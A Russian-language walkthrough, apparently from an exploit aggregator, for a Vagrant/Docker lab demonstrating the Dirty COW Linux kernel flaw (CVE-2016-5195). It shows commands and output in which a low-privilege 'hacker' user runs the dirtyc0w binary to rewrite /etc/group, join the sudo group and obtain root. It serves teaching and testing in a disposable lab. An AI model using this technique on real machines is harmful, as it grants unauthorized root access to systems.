## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ZAKARIAMAARAKI-DIRTY-COW-CVE-2016-5195-
# Dirtyc0w Docker POC
# Предварительные требования:
* Установленный Vagrant
# Как использовать
Сначала клонируйте проект `git clone https://github.com/BrolyCode/Dirty-Cow.git ` Перейдите в папку `cd Dirty-Cow` Затем запустите окружение с помощью команды
root@kitploit:~
vagrant up
После того как сервер будет построен, мы подключимся к нему по ssh
root@kitploit:~
vagrant ssh
переключитесь на пользователя root
root@kitploit:~
sudo -i
Теперь мы можем войти как хакер
root@kitploit:~
docker exec -it -u hacker nginx bash
В каталоге, в который мы вошли, находятся следующие файлы
root@kitploit:~
drwxrwxrwt 2 root root 4096 Nov 26 11:10 .
drwxr-xr-x 41 root root 4096 Nov 26 11:10 ..
-rwxr-xr-x 1 root root 9880 Nov 26 04:52 dirtyc0w
-rwxrwxrwx 1 root root 9880 Nov 26 04:52 dirtyc0w.c
Если мы выполним cat файла `/etc/group`, то увидим
root@kitploit:~
hacker@27862a2f9973:~$ cat /etc/group
root:x:0:
daemon:x:1:
bin:x:2:
sys:x:3:
adm:x:4:
tty:x:5:
disk:x:6:
lp:x:7:
mail:x:8:
news:x:9:
uucp:x:10:
man:x:12:
proxy:x:13:
kmem:x:15:
dialout:x:20:
fax:x:21:
voice:x:22:
cdrom:x:24:
floppy:x:25:
tape:x:26:
sudo:x:27:
....
Мы можем попробовать войти как root
root@kitploit:~
sudo -i
Но система откажет, потому что у нас нет прав доступа. Теперь мы используем уязвимость в `/etc/group`
root@kitploit:~
./dirtyc0w
Он выведет следующее в терминал, нужно подождать немного времени (2-3 минуты).
root@kitploit:~
mmap 7fd0facf4000
madvise 0
procselfmem 1500000000
Затем мы снова выполним cat `/etc/group`
root@kitploit:~
hacker@27862a2f9973:~$ cat /etc/group
root:x:0:
daemon:x:1:
bin:x:2:
sys:x:3:
adm:x:4:
tty:x:5:
disk:x:6:
lp:x:7:
mail:x:8:
news:x:9:
uucp:x:10:
man:x:12:
proxy:x:13:
kmem:x:15:
dialout:x:20:
fax:x:21:
voice:x:22:
cdrom:x:24:
floppy:x:25:
tape:x:26:
sudo:x:27:hacker
...
Войдите как root
root@kitploit:~
sudo -i
root@27862a2f9973:~#
# Очистка
Выйдите обратно в терминал вашей хост-машины и выполните `vagrant destroy`